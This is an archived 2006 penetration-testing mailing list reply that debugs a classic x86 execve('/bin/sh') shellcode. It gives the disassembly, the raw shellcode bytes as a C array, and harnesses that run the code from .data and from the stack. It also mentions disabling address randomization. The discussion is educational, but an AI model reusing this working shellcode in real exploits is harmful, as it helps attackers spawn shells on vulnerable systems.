Penetration Testing mailing list archives

Re: Shellcode itself segfaults


From: "Ronald van der Westen" <rvdwesten () gmail com>
Date: Tue, 20 Jun 2006 22:30:53 +0200

Also notice that Fedora Core 3 usually has the Virtual Address
Randomization, so returning to shellcode, could be a problem in the
future... unless you turn it off ;)

On 6/20/06, Peter Kosinar <goober () ksp sk> wrote:
Hello,

> First let me suggest naming your array something else, I don't think
> your C code compiled unless you renamed main() and linked it yourself
> (i.e. ld -e). It's a sidepoint though, name it something else, sc[] or
> whatever.

Wrong, "main" is just a symbol, it can be pretty much any kind of object
(data, function, ...). At least that's how gcc works -- at best, it issues
a nice warning like "warning: 'main' is usually a function".

> What I see is that just before you call int 0x80, you have 11/0x0b in
> the eax register (correct), a pointer to the string '/bin/sh' in the
> ebx register (correct), a pointer to a pointer to char, however this
> array is supposed to be null terminated and your is not, and finally
> in the edx register you have a pointer to null.

Wrong. The memory layout looks like this (addresses grow downwards) at the
time "int 0x80" is executed at main+24 (see the disassembly further down):

ebx ->  BASE: "/bin/sh" (null-terminated, 8 bytes)
ecx ->        BASE      (4 bytes)
edx ->        0         (4 bytes)

So, it's a perfectly correct memory layout and the next "int 80" calls
(with a slight abuse of syntax) the following command:

execve("/bin/sh", { "/bin/sh", 0 }, { 0 })

In fact, your own analysis confirms that:

> (gdb) x/wx *$rcx
> 0x5008a6 <sc+38>:       0x6e69622f
> (gdb)
> 0x5008aa <sc+42>:       0x0068732f
> (gdb)
> 0x5008ae <sc+46>:       0x005008a6
> (gdb) x/wx *$rdx
> 0x0:    Cannot access memory at address 0x0
> (gdb) x/wx $rdx
> 0x5008b2 <completed.1+2>:       0x00000000

This exactly corresponds to the correct memory layout I described above
(ecx points to 0x5008ae, edx to 0x8008b2).

Now, let's get to original poster's question... First, let's have a look
at the disassembly of the shellcode:

0x080495c0 <main+0>:    jmp    0x80495e1 <main+33>
0x080495c2 <main+2>:    pop    %esi
0x080495c3 <main+3>:    mov    %esi,0x8(%esi)             (*)
0x080495c6 <main+6>:    xor    %eax,%eax
0x080495c8 <main+8>:    mov    %al,0x7(%esi)              (*)
0x080495cb <main+11>:   mov    %eax,0xc(%esi)             (*)
0x080495ce <main+14>:   mov    $0xb,%al
0x080495d0 <main+16>:   mov    %esi,%ebx
0x080495d2 <main+18>:   lea    0x8(%esi),%ecx
0x080495d5 <main+21>:   lea    0xc(%esi),%edx
0x080495d8 <main+24>:   int    $0x80
0x080495da <main+26>:   xor    %ebx,%ebx
0x080495de <main+30>:   inc    %eax
0x080495df <main+31>:   int    $0x80
0x080495e1 <main+33>:   call   0x80495c2 <main+2>

What MIGHT be causing the problems with the shellcode is the fact that it
is self-modifying (see lines marked as (*) in the disassembly above). If
your compiler puts it in a section marked as read-only, the shellcode will
segfault. Also, depending on the system, some kind of no-exec protection
could kick in.

You might have more luck with a construction like this:

char c0de[]=
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { ((void(*)())c0de)(); }

In this case, the actual code is just an initialized array of chars. As
such, it MUST be modifyiable, so it is stored in a read-write section called
".data" (and unless you're extremely unlucky, there are some bytes left
after the end of c0de[] variable, so the aforementioned memory-modifying
instructions won't fail).

If you, however, replace "char c0de[]" with "const char c0de[]", you shall
see that the c0de[] array is now in a read-only section called ".rodata"
and the shellcode will fail.

In order to test the shellcode in a "real-life" situation, you should put
it on the stack:

const char c0de[]=
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
   char buf[sizeof(c0de)];
   strcpy(buf, c0de);
   ((void(*)())buf)();
}

This way, you won't run into read-only memory issues, as the stack is
always writable. However, if you're running a security-enhanced
distribution, some kind of stack-protection might kick in and preevnt the
code from running.

Peter

--
[Name] Peter Kosinar   [Quote] 2B | ~2B = exp(i*PI)   [ICQ] 134813278



------------------------------------------------------------------------------
This List Sponsored by: Cenzic

Concerned about Web Application Security?
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's
Choice Award from eWeek. As attacks through web applications continue to rise,
you need to proactively protect your applications from hackers. Cenzic has the
most comprehensive solutions to meet your application security penetration
testing and vulnerability management needs. You have an option to go with a
managed service (Cenzic ClickToSecure) or an enterprise software
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can
help you: http://www.cenzic.com/news_events/wpappsec.php
And, now for a limited time we can do a FREE audit for you to confirm your
results from other product. Contact us at request () cenzic com for details.
------------------------------------------------------------------------------




--
Ronald van der Westen

------------------------------------------------------------------------------
This List Sponsored by: Cenzic

Concerned about Web Application Security? Why not go with the #1 solution - Cenzic, the only one to win the Analyst's Choice Award from eWeek. As attacks through web applications continue to rise, you need to proactively protect your applications from hackers. Cenzic has the most comprehensive solutions to meet your application security penetration testing and vulnerability management needs. You have an option to go with a managed service (Cenzic ClickToSecure) or an enterprise software (Cenzic Hailstorm). Download FREE whitepaper on how a managed service can help you: http://www.cenzic.com/news_events/wpappsec.php And, now for a limited time we can do a FREE audit for you to confirm your results from other product. Contact us at request () cenzic com for details.
------------------------------------------------------------------------------


Current thread: